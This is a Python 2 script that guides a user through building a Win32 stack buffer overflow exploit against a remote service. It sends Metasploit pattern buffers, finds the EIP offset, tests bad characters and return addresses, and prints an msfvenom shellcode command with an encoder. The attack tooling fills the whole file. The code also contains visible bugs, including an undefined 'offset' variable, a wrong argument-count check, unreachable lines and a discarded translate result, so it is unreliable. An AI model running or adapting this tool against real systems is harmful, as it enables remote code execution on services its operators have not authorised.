win32-buffer-overflow-development-and-exploitation-skeleton.py

#!/usr/bin/python
# @Und3rf10w - 20150618
import socket
from sys import exit,argv
from subprocess import Popen, PIPE, STDOUT

# Defining the connection
def sendbuffer(host,port,buffer):
	try:
	        print "\nSending unique evil buffer to %s:%s" % (host,port)
	        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	        s.connect((host,port))
	        # This next part depends on whatever the RFC is for what you're trying to 
	        # exploit. Up to you to put the 'string' in the right place. Be sure to
	        # receive bytes after sending anything.
	        print repr(s.recv(1024)) # Grabs the banner. Do not remove
	        s.send(buffer) # Sends the unique string into the buffer
		print repr(s.recv(1024))
	        print "\nBuffer sent..."
		print "Please restart the service and reattach your disassembler now!"
	except:
	        print "Could not connect to the service"
	        exit(2)

def eip_control_check_prompt(s):
	if s == "Yes" or s == "yes" or s == "YES" or s == "y" or s == "Y":
		return "Excellent. Continuing to shellcode insertion"
	elif s == "No" or s == "no" or s == "NO" or s == "n" or s == "N":
		return "ERROR: Something went wrong. You don't have control over EIP"
		exit(3)
	else:
		return "\nPlease type 'yes' or 'no'"

def increase_buffer_size_prompt(s, *args, **kwargs):
	shellcode_space = kwargs.get('shellcode_space', None)
        if s == "Yes" or s == "yes" or s == "YES" or s == "y" or s == "Y":
                return "Increasing size of buffer"
		new_space = (350 - shellcode_space) + shellcode_space
		return new_space
        elif s == "No" or s == "no" or s == "NO" or s == "n" or s == "N":
                return "Continuing with current shellcode space"
		new_space = shellcode_space
		return new_space
        else:
                return "\nPlease type 'yes' or 'no'"

def bad_character_prompt(s, *args, **kwargs):
        if s == "Yes" or s == "yes" or s == "YES" or s == "y" or s == "Y":
		return True
        elif s == "No" or s == "no" or s == "NO" or s == "n" or s == "N":
                return False
        else:
                return "\nPlease type 'yes' or 'no'"


def return_address_test(return_address, *args, **kwargs):
	pivot_address = return_address
	buffer = "\x41"*(eip_offset-1) + pivot_address + "\x90"*12 + "\x43"*(available_space - (int(argv[3])- eip_offset) - 12)
	sendbuffer(host, port, buffer)
	raw_input("Press enter to continue once you have reattached the debugger...")
	return_address = pivot_address
	return return_address

def return_address_prompt(s, *args, **kwargs):
	if s == "Yes" or s == "yes" or s == "YES" or s == "y" or s == "Y":
                return True
        elif s == "No" or s == "no" or s == "NO" or s == "n" or s == "N":
                return False
        else:
                return "\nPlease type 'yes' or 'no'"

def generate_report(host, port, eip_offset, available_space, bad_characters,return_address):
	print "Generating report.. \n"
	print """
	Service
	=======
	%s:%d

	EIP Offset Location
	===================
	%s

	Bytes Available For Shellcode
	=============================
	%s

	Bad Characters
	==============
	%s
	
	Return Address
	==============
	%s""" %(host, port, eip_offset, available_space, bad_characters,return_address)

	print "Modify the following command to generate your shellcode:\n"
	print "msfvenom -p <payload> -f c -b '%s' -x 86 --platform windows -e x86/shikata_ga_nai <payload options>" % bad_characters

# test if script was executed correctly
if len(argv) < 3:
        print "Assists with buffer overflow exploit development for Win32 binaries"
        print "Usage: %s <Server IP Address or hostname> <service port> <buffer length>" % str(argv[0])
        exit(1)

# Create a unique buffer from given buffer length
cmd = '/usr/share/metasploit-framework/tools/pattern_create.rb %d' % int(argv[3])
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
buffer = str(p.stdout.read())
host = str(argv[1])
port = int(argv[2])
# Send inital buffer
sendbuffer(host,port,buffer)

# Receive value of EIP register from user
eip = raw_input('\nInsert the value of EIP at the time of the crash: ') # receive the value of EIP from user

# Determine EIP offset
cmd = '/usr/share/metasploit-framework/tools/pattern_offset.rb %s' % eip
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
print p.stdout.read()

# store value of EIP offset
list = offset.split()
eip_offset = int(list[5])

# Make new confirmation buffer
buffer = "A"*eip_offset + "B"*4 + "C"*(int(argv[3]) - eip_offset)

# Send new buffer
sendbuffer(host,port,buffer)

# Ask user if they have control over EIP
prompt = raw_input("Was the value of EIP 42424242 at crash time?: ")
print(eip_control_check_prompt(prompt))
available_space = int(argv[3]) - int(eip_offset)
print "You currently have %d bytes available for shellcode execution" % int(available_space)

#initalize new_space
new_space = 0
# Check if enough space available for shellcode, returns new_space
while int(available_space) < 349:
	print "\nWARN: You don't have enough space for most shellcode"
	prompt = raw_input("Do you want to try a bigger buffer?: ")
	shellcode_space = available_space
	new_space = increase_buffer_size_prompt(prompt,shellcode_space,new_space)
	buffer = 'A'*eip_offset + 'B'*4 + 'C'*((int(argv[3]) - int(eip_offset)) + int(new_space))
	sendbuffer(host,port,buffer)
	raw_input("Press enter to continue once you have reattached the debugger...")
	available_space = available_space + new_space
	print "You currently have %d bytes available for shellcode execution" % int(available_space)
	if available_space >= 349:
		print "Enough space availabe for shellcode execution"
		break

# Check for presence of bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A"*eip_offset + "B"*4 + badchars

print "Attempting to check for presence of bad characters"
sendbuffer(host,port,buffer)

# initalize bad_characters and rem_char
bad_character_test_result = None
bad_characters = ""
rem_char = None
bad_char_flag = 0
prompt = raw_input("Did you encounter any bad characters?: ")
while bad_character_test_result != False:
	bad_character_test_result = bad_character_prompt(prompt)
	if bad_char_flag == 1:
		rem_char = raw_input("\nWhat was the bad character? (\\x00): ")
		if rem_char != None:
			badchars.translate(None, rem_char)
			bad_characters += rem_char
		print "\nCurrent bad characters: '%s'" %bad_characters
		buffer = "A"*eip_offset + "B"*4 + badchars
		print "\nSending new buffer..."
		sendbuffer(host,port,buffer)
		raw_input("Press enter to continue once you have reattached the debugger...")
	bad_char_flag = 1
	if bad_character_test_result == False:
		break

print "Identified bad characters:\n%s" % str(bad_characters)


### Return address identification ###
print "\nNow we just need to identify a return address to redirect the execution from"

return_address = None
return_address_flag = 0
return_address_test_result = None
prompt = raw_input("Did that return address work?: ")
while return_address_test_result != True:
	return_address_dirty = raw_input("Set a new breakpoint on and provide the address to try to return from in little endian format ('0043D0A0' -> '\\xa0\\xd0\\x43\\x00'): ")
	return_address_clean = return_address_dirty.replace("\\x","")
	return_address = "\b"+return_address_clean.decode("hex")
	return_address = return_address_test(return_address)
	if return_address_flag == 1:
		return_address_test_result = return_address_prompt(prompt)
	return_address_flag = 1
	if return_address_test_result == True:
		break

return_address = return_address

# print "INFO: Using %s for the return address" %return_address_dirty.replace("\\x","")

generate_report(host, port, str(eip_offset), available_space, str(bad_characters), return_address)

print "Your sample exploit code in python is:\n buffer = 'A'*%s + '%s' + shellcode + <nop_sled> + 'C'*(%s-%s-%d-%d-len(shellcode)-<len(nop_sled)>)" %(str(eip_offset), return_address, str(argv[3]), str(eip_offset), len(str(return_address)), len("AUTH "))

exit(0)